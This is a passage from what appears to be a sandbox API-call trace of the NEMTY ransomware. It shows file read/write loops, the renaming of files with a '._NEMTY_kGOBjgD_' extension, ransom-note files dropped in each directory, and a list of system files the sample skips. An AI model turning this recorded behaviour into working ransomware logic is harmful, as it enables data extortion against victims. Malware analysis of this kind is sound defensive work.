pszString="ZfOX/s4ScSdOV6PG3vm9Cwdx9iRIB4IOMyej3pYAQDjD8uW7FFnIVn/RuURlu/7C\r\nAAPStl2ymrK8w7ZbTxIQzqEpjVQQr7dYCaHhD5joAzNR+BIe5Qg+PUsjwMhICwCG\r\nBkG2tH1he3LuR/3dy1vJ2IkeefQR3gnuxmQIBQXEziSxIc3LL7vmXH6gAQYFY4eS\r\nWb7DpZ6ZlcK65eUFbgkPy/cfPjtPlFyvi4AI3sZQVbmcD6xGi4FDusWylucQ2fwy\r\n2njqk0TTbETIeK2l4OYGrlIJrnMuQQrNHurWTVNB8y32pymtpUDUxDHVBaIzXhLq\r\nGe9NMWk+NZ/4pksw5e8ZOQ==\r\n", pcchString=0x653ec5c) returned 1 [0149.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0149.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0149.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0149.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0149.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0149.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0149.696] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\drag.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0149.698] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0149.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0149.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.698] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0149.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.707] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.707] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0149.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.717] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.717] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0149.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.726] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.726] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0149.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.735] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.735] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0149.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.745] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.745] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0149.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.754] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.754] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0149.768] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.769] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.769] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.769] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0149.778] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.778] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.778] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.778] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0149.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.787] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.787] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0149.797] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.797] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.797] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.797] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0149.803] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.803] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.803] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.803] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0149.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.809] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0149.809] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0149.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0149.809] CloseHandle (hObject=0xffffffff) returned 0 [0149.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0149.809] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0149.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0149.809] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0149.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0149.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0149.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0149.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0149.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0149.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0149.809] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\drag.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\drag.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\drag.png._nemty_kgobjgd_")) returned 0 [0149.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0149.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0149.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0149.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0149.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0149.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0149.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0149.810] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="en-US", cAlternateFileName="")) returned 1 [0149.810] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0149.810] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0149.810] lstrcmpiW (lpString1="en-US", lpString2="...") returned 1 [0149.810] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0149.810] lstrcmpiW (lpString1="en-US", lpString2="$RECYCLE.BIN") returned 1 [0149.810] lstrcmpiW (lpString1="en-US", lpString2="rsa") returned -1 [0149.810] lstrcmpiW (lpString1="en-US", lpString2="NTDETECT.COM") returned -1 [0149.810] lstrcmpiW (lpString1="en-US", lpString2="ntldr") returned -1 [0149.810] lstrcmpiW (lpString1="en-US", lpString2="MSDOS.SYS") returned -1 [0149.810] lstrcmpiW (lpString1="en-US", lpString2="IO.SYS") returned -1 [0149.810] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0149.810] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0149.810] lstrcmpiW (lpString1="en-US", lpString2="AUTOEXEC.BAT") returned 1 [0149.810] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0149.810] lstrcmpiW (lpString1="en-US", lpString2="desktop.ini") returned 1 [0149.810] lstrcmpiW (lpString1="en-US", lpString2="CONFIG.SYS") returned 1 [0149.810] lstrcmpiW (lpString1="en-US", lpString2="RECYCLER") returned -1 [0149.810] lstrcmpiW (lpString1="en-US", lpString2="BOOTSECT.BAK") returned 1 [0149.810] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0149.810] lstrcmpiW (lpString1="en-US", lpString2="programdata") returned -1 [0149.810] lstrcmpiW (lpString1="en-US", lpString2="appdata") returned 1 [0149.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0149.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653ef10, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0149.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0149.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653ef10, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0149.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0149.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0149.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0149.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0149.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0149.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0149.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0149.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0149.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0149.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0149.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0149.811] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0149.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0149.814] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.814] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0149.817] CloseHandle (hObject=0x1ec) returned 1 [0149.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0149.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0149.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0149.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0149.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63400d0 [0149.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0149.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0149.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0149.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0149.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0149.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0149.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340158 [0149.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0149.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340200 [0149.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0149.817] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0149.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0149.818] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.818] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0149.819] CloseHandle (hObject=0x1ec) returned 1 [0149.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0149.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0149.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0149.819] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xceff8d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xceff8d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0149.819] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0149.820] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xceff8d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xceff8d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0149.820] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0149.820] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0149.820] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="css", cAlternateFileName="")) returned 1 [0149.820] lstrcmpiW (lpString1="css", lpString2=".") returned 1 [0149.820] lstrcmpiW (lpString1="css", lpString2="..") returned 1 [0149.820] lstrcmpiW (lpString1="css", lpString2="...") returned 1 [0149.820] 